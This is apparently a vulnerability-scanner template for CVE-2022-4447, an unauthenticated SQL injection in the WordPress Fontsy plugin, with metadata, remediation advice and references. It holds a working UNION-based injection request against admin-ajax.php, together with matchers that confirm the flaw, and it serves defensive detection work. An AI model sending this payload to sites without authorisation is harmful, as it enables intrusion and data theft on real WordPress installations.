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id : CVE-2022-4447
info :
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name : WordPress Fontsy <=1.8.6 - SQL Injection
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author : theamanrawat
severity : critical
description : |
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WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
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remediation : |
Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
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reference :
- https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
- https://wordpress.org/plugins/fontsy/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4447
classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
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cve-id : CVE-2022-4447
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cwe-id : CWE-89
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epss-score : 0.03843
epss-percentile : 0.90944
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cpe : cpe:2.3:a:fontsy_project:fontsy:*:*:*:*:*:wordpress:*:*
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metadata :
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verified : true
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max-request : 1
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vendor : fontsy_project
product : fontsy
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framework : wordpress
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tags : cve,wordpress,wp,wpscan,cve2022,wp-plugin,sqli,fontsy,unauth,fontsy_project
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variables :
num : "999999999"
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http :
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- raw :
- |
POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "{{md5(num)}}")'
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condition : and
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# digest: 4a0a0047304502207d946cf8d2d891d40004e0f230f26aab95b329cdd3921e4e95e0a88b18544340022100a607f1fc6e85f464abddece4dec9be3bb9c51061e22244f4385025293c0f32a6:922c64590222798bb761d5b6d8e72950